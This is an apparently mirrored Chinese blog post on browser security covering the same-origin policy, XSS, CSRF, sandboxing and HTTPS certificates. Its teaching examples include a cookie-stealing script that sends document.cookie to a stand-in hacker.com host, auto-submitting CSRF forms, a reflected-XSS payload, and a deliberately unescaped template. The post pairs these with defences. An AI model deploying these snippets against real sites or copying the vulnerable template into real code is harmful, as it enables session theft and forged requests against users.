浏览器工作原理 - 安全

Cellinlab

发布于 2023-05-17 14:27:44

8200

文章被收录于专栏：Cellinlab's BlogCellinlab's Blog

同源策略

Web 世界是开放的，但如果 Web 世界是绝对自由的，那页面行为将没有任何限制，会造成无序或者混沌的局面。

比如打开了银行站点后，意外打开了一个恶意站点，如果没有安全措施，恶意站点可能：

修改银行站点的 DOM、CSSOM 等信息
在银行站点内部插入 JavaScript 脚本
劫持用户登录的用户名和密码
读取银行站点的 Cookie、IndexedDB 等数据
甚至可以将这些信息上传至自己的服务器，在用户不知情的情况下伪造一些转账请求等信息

什么是同源策略

如果两个 URL 的协议、域名和端口都相同，称两个 URL 同源。

https://blog.cellinlab.xyz/timeline/
https://blog.cellinlab.xyz/tag/

浏览器默认两个相同的源之间是可以相互访问资源和操作 DOM 的。两个不同源之间要相互访问或者操作 DOM，会有一套基础的安全策略制约，即同源策略。

同源策略主要表现在 DOM、Web 数据和网络三个层面：

DOM 层面
- 限制了来自不同源的 JavaScript 脚本对当前 DOM 对象读和写的操作
- 不同源的内容操作会提示跨域访问
数据层面
- 限制了不同源的站点读取当前站点的 Cookie、IndexedDB、LocalStorage 等数据
网络层面
- 限制了通过 XMLHttpRequest 等方式将站点的数据发送给不同源的站点

安全和便利性的权衡

安全性和便利性是相互对立的，让不同的源之间绝对隔离，无疑是最安全的措施，但这也会使得 Web 项目难以开发和利用。

在安全和便利之间做了一些权衡，浏览器出让了同源策略的一部分安全性：

页面中可以嵌入第三方资源

浏览器支持外部引用资源文件，比如图片、CSS、JavaScript 等

不过会带来很多问题

通过各种途径往 HTML 中插入恶意文本

<!DOCTYPE html>
<html>
  <head>
    <title>Title</title>
    <script src="http://xxx.com/hacker.js"></script>
  </head>
  <body>
    <h1>Hello World</h1>
  </body>
</html>

恶意脚本可以修改用户的搜索结果、改变一些内容的连接指向等等

恶意脚本还能将页面的敏感数据，如 Cookie、IndexedDB、LocalStorage 等数据通过 XSS 的手段发送给服务器

// 具体实现是，当不小心点击页面恶意链接时，恶意 JavaScript 可以读取页面数据发送给服务器
function onClick () {
  let url = `http://hacker.com?cookie= ${document.cookie}`;
  open(url);
}

为了解决 XSS 攻击，浏览器引入了内容安全策略 CSP。CSP 的核心思想是让服务器决定浏览器能够加载哪些资源，让服务器决定浏览器是否能够执行内联 JavaScript 代码。通过这些手段可以大大减少 XSS 攻击。

跨域资源共享和跨文档消息机制

跨域资源共享（CORS），使用该机制可以进行跨域访问控制，从而使跨域数据传输得以安全进行。
如果两个页面不同源，无法相互操作 DOM。但实际中有很多需要不同源的 DOM 之间通信的场景，于是浏览器中引入了 跨文档消息机制，可以通过 window.postMessage 进行不同源的 DOM 通信

跨站点脚本攻击（XSS）

同源策略可以隔离各个站点之间的 DOM 交互、页面数据和网络通信，虽然严格的同源策略会带来更多的安全，但也束缚了 Web。为了达到安全和自由之间的平衡，默认页面可以引用任意第三方资源，并引入 CSP 策略加以限制；默认 XMLHttpRequest 和 Fetch 不能跨站请求资源，又通过 CORS 策略来支持其跨域。

支持页面中的三方资源引用和 CORS 带来了一些安全问题，最典型的即 XSS 攻击。

什么是 XSS 攻击

XSS（Cross Site Scripting）跨站点脚本攻击，指黑客往 HTML 文件或者 DOM 中注入恶意脚本，从而在用户浏览页面时利用恶意脚本对用户实施攻击。

当页面被注入了恶意 JavaScript 脚本时，浏览器无法区分这些脚本时被恶意注入的还是正常的页面内容，所以恶意注入的 JavaScript 脚本也拥有所有的脚本权限。可以：

窃取 Cookie 信息
- 可以通过 document.cookie 获取 Cookie 信息，然后通过 XMLHttpRequest 或 Fetch 加上 CORS 功能将数据发送给恶意服务器
- 恶意服务器拿到用户 Cookie 后，可以在其他客户端模拟用户的登录，进行恶意操作
监听用户行为
- 恶意 JavaScript 可以使用 addEventListener 接口监听键盘事件，如用户输入的个人数据，将其发送到恶意服务器
修改 DOM伪造假的登录窗口，欺骗用户输入用户名和密码等
在页面内生成浮窗广告

恶意脚本是如何注入

存储型 XSS 攻击

攻击步骤
1. 利用站点漏洞将一段恶意 JavaScript 代码提交到网站数据库中
2. 用户向网站请求包含了恶意 JavaScript 代码的页面
3. 用户浏览页面时，恶意脚本会将用户的 Cookie 信息等发送到恶意服务器
案例
- 2015 喜马拉雅存储型 XSS 漏洞
- 用户在专辑名称时，服务端校验不严格，导致用户可以将专辑名称设置为一段 JavaScript 代码
- 当其他用户访问该专辑时，这段代码就会在用户页面执行，获取 Cookie 信息

反射型 XSS 攻击

恶意 JavaScript 脚本属于用户发送给网站请求中的一部分，随后恶意网站又把恶意 JavaScript 脚本返回给用户，当恶意脚本在用户页面中被执行时，黑客就可以利用该脚本做一些恶意操作

实现

node 服务

const express = require('express');
const router = express.Router();

router.get('/', (req, res, next) => {
  res.render('index', {
    title: 'Express',
    xss: req.query.xss,
  });
});

module.exports = router;

页面

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title><%= title %></title>
  <link rel="stylesheet" href="/stylesheets/style.css" />
</head>
<body>
  <h1><%= title %></h1>
  <p>Welcome to <%= title %></p>
  <div>
    <%- xss %>
  </div>
</body>
</html>

当用户访问 http://localhost:3000/?xss=<script>alert('你被xss攻击了')</script>

基于 DOM 的 XSS 攻击

基于 DOM 的 XSS 攻击不牵涉页面 Web 服务器
具体实现实，黑客通过各种手段将恶意脚本注入用户的页面中，如通过网络劫持在页面传输的过程中修改 HTML 的内容，如路由器劫持、本地恶意软件劫持
特点是在 Web 资源传输过程或者在用户使用页面的过程中修改 Web 页面的数据

如何阻止 XSS 攻击

服务器对输入脚本进行过滤或转码

过滤

// 过滤前
code: <script>alert('你被xss攻击了')</script>

// 过滤后
code:

转码

// 转码前
code: <script>alert('你被xss攻击了')</script>

// 转码后
code: &lt;script&gt;alert('你被xss攻击了')&lt;/script&gt;

充分利用 CSP

虽然在服务端执行过滤或转码可以阻止 XSS 攻击的发生，但是完全依靠服务器依然是不够的，还需要将 CSP 等策略充分利用起来
CSP 功能有
- 限制加载其他域下的资源文件，这样即使黑客插入了一个 JavaScript 文件，文件也无法被加载
- 禁止向第三方域提交数据，防止用户数据外泄
- 禁止内联脚本和未授权的脚本
- 提供上报机制，尽快发现有哪些 XSS 攻击，以便及时修复

使用 HttpOnly 属性

很多 XSS 攻击都是用于盗用 Cookie 的，可以通过使用 HttpOnly 属性保护 Cookie 安全
通常服务器可以将某些 Cookie 设置为 HttpOnly 标志
HttpOnly 标记的 Cookie 只能使用在 HTTP 请求过程中，无法通过 JavaScript 语句访问

CSRF 攻击

案例分析

首先 David 登录 Gmail，Gmail 服务器返回一些登录状态给 David 的浏览器，这些信息包括 Cookie、Session 等，这样，在 David 的浏览器中，Gmail 就处于登录状态了
接着黑客通过各种手段引诱 David 去打开他的链接，如 hacker.com，然后在 hacker.com 页面中，编写好易购邮件过滤器，并通过 Gmail 提供的 HTTP 设置接口设置好新的邮件过滤功能，该过滤器会将 David 所有的邮件都转发到黑客的邮箱中
最后，黑客可以获得 David 的邮件内容，就可以去重置邮箱密码了。

什么是 CSRF 攻击

CSRF（Cross-Site Request Forgery）跨站请求伪造，指黑客引诱用户打开黑客的网站，利用用户的登录状态发起的跨站请求。即黑客利用用户的登录状态，通过第三方的站点做出恶意操作。

CSRF 的实施方式有：

自动发起 GET 请求

<!DOCTYPE html>
<html lang="en">
  <body>
    <h1>黑客站点：CSRF 攻击演示</h1>
    <img src="http://cellinlab.xyz/getuserinfo?user=xxx">
  </body>
</html>

自动发起 POST 请求

<!DOCTYPE html>
<html lang="en">
  <body>
    <h1>黑客站点：CSRF 攻击演示</h1>
    <form action="http://cellinlab.xyz/getuserinfo" method="post">
      <input type="text" name="user" value="xxx">
      <input type="submit" value="提交">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

引诱用户点击链接

一般出现在论坛或者恶意邮件中，伪装诱导链接，点击后触发请求

如何防止 CSRF 攻击

发起 CSRF 攻击的必要条件：

目标站点要有 CSRF 漏洞
用户要登录过目标站点，并且在浏览器上保持有该站点的登录状态
需要用户打开一个第三方站点，可以是黑客的站点也可以是一些论坛

CSRF 防御措施：

充分利用好 Cookie 的 SameSite (opens new window) 属性

CSRF 通常在第三方站点发起，最好能实现从第三方站点发送请求时禁止 Cookie 发送，浏览器在通过不同来源发送 HTTP 请求时，有以下区别：
- 如果从三方站点发起请求，需要浏览器禁止发送某些关键 Cookie 数据到服务器
- 如果是同一个站点发送的请求，就要保证 Cookie 数据正常发送
在 HTTP 响应头中，设置 Cookie 时，可以带上 SameSite 选项
- Strict：浏览器完全禁止三方 Cookie
- Lax：从第三方站点的连接打开和从第三方站点提交 GET 方式的表单会携带 Cookie，其他方式不携带 Cookie
- none：在任何情况下都会发送 Cookie 信息

验证请求的来源网站

在服务器端验证请求的来源站点
主要根据 HTTP 请求头中的 Referer 和 Origin 来验证
Referer 记录 HTTP 请求的来源地址
- 虽然可以通过 Referer 告诉服务器 HTTP 请求的来源，但是有一些场景不适合将来源 URL 暴露给服务器，因此浏览器提供给开发者一个选项，可以不用上传 Referer 值，具体可参考 Referer-Policy (opens new window)
在服务器端验证请求头的 Referer 并不是太可靠，因此标准委员会又定制了 Origin 属性
- 在一些重要的场合，如通过 XMLHttpRequest、Fetch 发起跨站请求或者通过 POST 方法发送请求时，会带上 Origin 属性
- Origin 属性只包含域名信息，不包含具体的 URL 路径
- Origin 值之所以不包含详细路径信息，是有些站点基于安全考虑，不想把源站点的详细路径暴露给服务器
综上，服务器的策略是优先判断 Origin，如果请求头中没有包含 Origin 属性，再根据实际情况判断是否使用 Referer 值

CSRF Token

在浏览器向服务器发起请求时，服务器生成一个 CSRF Token，其本质是服务器生成的字符串，然后将该字符串植入到返回的页面中

<!DOCTYPE html>
<html lang="en">
  <body>
    <form action="http://example.com/login" method="POST">
      <input type="hidden" name="_csrf" value="csrf_token_xsfsasdadwc">
      <input type="text" name="user">
      <input type="submit" value="Submit">
    </form>
  </body>
</html>

在浏览器发起请求，需要携带页面中的 CSRF Token，然后服务器会验证 CSRF Token 是否合法，如果是三方站点发出的请求，那么获取不到 CSRF Token，即便发起请求也会在服务端验证不通过

安全沙箱

安全视角下的多进程架构

现代浏览器采用了多进程架构，将渲染进程和浏览器进程做了分离，从操作系统安全的视角看浏览器的多进程架构：

浏览器被划分为浏览器内核和渲染内核两个核心模块，其中浏览器内核是由网络进程、浏览器主进程和 GPU 进程组成的，渲染内核就是渲染进程。

所有的网络资源都是通过浏览器内核来下载的，下载后的资源会通过 IPC 将其提交给渲染进程。然后渲染进程会对这些资源进行解析、绘制等操作，最终生成一幅图片。但是渲染进程并不负责将图片显示到界面上，而是将最终生成的图片提交给浏览器的内核模块，由浏览器内核模块负责显示图片。

将浏览器划分为不同的进程是为了增加其稳定性，虽然设计成了多进程架构，不过这些沟通方式有些复杂。

安全沙箱

由于渲染进程需要执行 DOM 解析、CSS 解析、网络图片解码等操作，如果渲染进程中存在系统级别的漏洞，那么以上操作可能让恶意站点获取到渲染进程的控制权限，进而获取操作系统的控制权限，这对于用户来讲十分危险。

因为网络资源的内容存在着各种可能性，所以浏览器会默认网络资源都是不可信的，都是不安全的。只要浏览器出现漏洞，黑客就可能通过网络内容对用户开展攻击。

基于以上原因，需要在渲染进程和操作系统之间建一道墙，使黑客获取不到渲染进程之外的任何操作，将渲染进程和操作系统隔离的这道墙称安全沙箱。

浏览器中的安全沙箱是利用操作系统提供的安全技术，让渲染进程在执行过程中无法访问或者修改操作系统中的数据，在渲染进程需要访问系统资源的时候，需要通过浏览器内核来实现，然后将访问的结果通过 IPC 发送给渲染进程。

安全沙箱最小的保护单位是进程。

安全沙箱如何影响各个功能模块

安全沙箱能限制进程对操作系统资源的访问和修改，这意味如果要让安全沙箱应用在某个进程上，那么这个进程必须没有读写操作系统的功能，如读写本地文件、发起网络请求、调用 GPU 接口等。

渲染进程和浏览器内核各自的职责：

安全沙箱如何影响各个模块功能：

持久储存
- 将读写文件的操作全部放在了浏览器内核中实现，然后通过 IPC 将操作结果转发给渲染进程
- 具体实现
  - 存储 Cookie 数据的读写。通常浏览器内核会维护一个存放所有 Cookie 的 Cookie 数据库，然后当渲染进程通过 JavaScript 来读取 Cookie 时，渲染进程会通过 IPC 将读取的 Cookie 信息发送给浏览器内核，浏览器内核读取 Cookie 之后再将内容返回给渲染进程。
  - 一些缓存文件的读写也是由浏览器内核实现的，如网络文件缓存的读取
网络访问
- 如果要访问网络，需要通过浏览器内核
- 浏览器内核在处理 URL 请求之前，会检查渲染进程是否有权限请求该 URL，如检查 XMLHttpRequest 或 Fetch 是否是跨站点请求，或检测 HTTPS 的站点中是否包含了 HTTP 请求
用户交互
- 为了限制渲染进程监控到用户的输入事件，渲染进程内是无法直接操作窗口句柄的

站点隔离

站点隔离指Chrome 将同一站点（包含了相同根域名和相同协议的地址）中相互关联的页面放到同一个渲染进程中执行。

HTTPS

中间人攻击

起初设计 HTTP 协议的目的很单纯，就是为了传输超文本文件，也没有太强的加密传输需求，所以 HTTP 一直保持明文传输数据的特征。这样的话，在传输过程中的每一个环境，数据度有可能被窃取或篡改，即客户端和服务器之间可能有个中间人，HTTP 传输的内容很容易被其窃取、伪造和篡改，称这种攻击为中间人攻击。

在 HTTP 协议栈中引入安全层

由于 HTTP 的明文传输使得传输过程毫无安全性可言，且制约了网购、在线支付等系列应用场景，于是开始引入加密方案。

从 HTTP 协议栈层面来看，可以在 TCP 和 HTTP 之间插入一个安全层，所有经过安全层的数据都会被加密或者解密。

HTTPS 并非一个新的协议，通常 HTTP 直接和 TCP 通信，HTTPS 则先和安全层通信，然后安全层再和 TCP 通信。即 HTTPS 的所有的安全核心都在安全层，它不会影响到上面的 HTTP 协议，也不会影响到下面的 TCP/IP。

总体上，安全层有两个主要职责：

对发起 HTTP 请求的数据进行加密操作
对接收到 HTTP 的内容进行解密操作

对称加密

加密和解密都使用相同的密钥。

在第一版的 HTTPS 中，首先要协商加解密方式，这个过程就是 HTTPS 建立安全连接的过程。为了让加密的密钥更加难以破解，让服务器和客户端同时决定密钥，具体过程：

浏览器发送它所支持的加密套件（加密的方法）列表和一个随机数 client-random，
服务器会从加密套件列表中选择一个加密套件，然后还会生成一个随机数 service-random，并将 service-random 和加密套件列表返回给浏览器
最后浏览器和服务器分别返回确认消息

浏览器和服务端都有相同的 client-random 和 service-random 后，使用相同的方法将 client-random 和 service-random 混合生成一个密钥 master-secret，有了密钥 master-secret 和统一选定的加密套件，双方就能进行数据的加密传输了。

虽然这个版本可以很好地工作，但是其中传输过程中 client-random 和 service-random 都是明文传输的，即黑客可以拿到协商的加密套件和双方的随机数，由于利用随机数合成密钥的算法是公开的，所以黑客拿到随机数后，也可以合成密钥，这样数据依然可以被破解，黑客在获取密钥后也能伪造和篡改数据。

非对称加密

非对称加密有 A 、 B 两个密钥，如果用 A 密钥来加密，那么只能使用 B 密钥来解密；反过来，如果用 B 密钥来加密，那么只能使用 A 密钥来解密。

在 HTTPS 中，服务器会将其中的一个密钥通过明文的形式发送给客户端，将这个密钥称为公钥，服务器自己留下的密钥称为私钥。公钥每个人都能获取到，私钥只有服务器才能知道，不对任何人公开。

具体流程：

首先，浏览器发送加密套件列表给服务器；
服务器选择一个加密套件，服务器选择加密套件后连同公钥一起发送给浏览器；
最后，浏览器和服务器返回确认消息

使用非对称能保证浏览器发送给服务器的数据是安全的，当存在两个严重的问题：

非对称加密的效率太低，严重影响加密数据的速度，进而影响用户端响应速度
无法保证服务器发送给浏览器的数据安全
- 虽然浏览器可以使用公钥加密，但是服务端只能采用私钥加密，私钥加密只有公钥能解密，但黑客可以拿到公钥，这样就不能保证服务器端数据的安全了

对称加密和非对称加密搭配使用

在传输阶段依然使用对称加密，但是对称加密的密钥使用非对称加密来传输。

具体流程：

首先浏览器向服务器发送对称加密套件列表、非对称加密套件列表和随机数 client-random；
服务器保存随机数 client-random，选定对称加密和非对称加密套件，然后生成随机数 service-random，向浏览器发送选定的加密套件、随机数 service-random 和公钥；
浏览器保存公钥，利用 client-random 和 service-random 计算出 pre-master，然后利用公钥对 pre-master 加密，向服务器发送加密后的数据；
最后服务器拿出自己的私钥，解密出 pre-master 数据，返回确认消息；

至此，服务器和浏览器有了共同的 client-random、service-random 和 pre-master，然后服务器和浏览器会使用这三组随机数生成对称密钥，双方开始使用对称加密来传输数据。

注意，pre-master 是经过公钥加密之后传输的，所以黑客无获取到 pre-master，这样就无法生成密钥，以此保证黑客无法破解传输过程中的数据。

数字证书

使用对称和非对称混合方式，完美实现了数据的加密传输。但是还是存在问题，如果黑客通过 DNS 劫持将域名指向黑客服务器，这样就变成客户端访问黑客服务器，黑客就能在自己的服务器上实现自己的公钥和私钥，对于浏览器来说，完全不知道访问的是黑客的站点。

所以，服务器需要像浏览器证明，我就是我。

因此，引进了权威机构（CA，Certificate Authority），通过权威机构给服务颁发数字证书。

对于浏览器来说，数字证书有两个作用：

通过数字证书向浏览器证明服务器的身份
数字证书里面包含了服务器公钥

数字证书主要做了两点改变：

服务器没有直接返回公钥给浏览器，而是返回了数字证书，而公钥正是包含在数字证书中的；
在浏览器端多了一个证书验证的操作，验证了证书之后，才能继续后续流程。

通过引入数字证书，实现了服务器的身份认证功能，这样即便黑客伪造了服务器，但是由于证书是没有办法伪造的，所以依然无法欺骗用户

数字证书验证和申请

数字证书申请

通常的申请流程：

准备一套私钥和公钥，私钥留着自己私钥；
向 CA 机构提交公钥、公司、站点等信息并等待认证，有收费或免费的；
CA 通过线上、线下等多种渠道验证提供信息的真实性；
如信息审核通过，CA 会签发认证的数字证书，包含了公钥、组织信息、CA 的信息、有效时间、证书序列号等，信息都是明文的，还包含一个 CA 生成的签名。

其中，数字签名的过程如下：

CA 使用 Hash 函数计算提交的明文信息，等到信息摘要；
CA 再使用它的私钥对信息摘要进行加密，加密后的密文就是 CA 颁发的数字签名。

数字证书验证

当浏览器访问服务器时，服务器会返回数字证书给浏览器。浏览器收到后进行验证：

读取证书中相关的明文信息，使用 CA 签名时相同的 Hash 函数计算得到 信息摘要 A；
再利用对应 CA 的公钥解密签名数据，得到 信息摘要 B；
对比信息摘要 A 和信息摘要 B，如果一致，则认为证书合法，同时，浏览器还会验证证书相关的域名信息、有效时间等信息；

如果 CA 比较小众，浏览器会继续查找给当前 CA 颁发证书的 CA，一直沿着 CA 链查找验证其上级 CA 的可靠性。通常浏览器会内置信任的顶级 CA 的证书信息。

在申请和使用证书时，需要注意：

申请数字证书是不需要提供私钥的，要确保私钥永远只能由服务器掌握；
数字证书最核心的是 CA 使用它的私钥生成的数字签名；
内置 CA 对应的证书称根证书，根证书是最权威的机构，为自己签名，即自签名证书。

本文参与腾讯云自媒体同步曝光计划，分享自作者个人站点/博客。

原始发表：2020/5/20，如有侵权请联系 cloudcommunity@tencent.com 删除

安全

本文分享自作者个人站点/博客前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度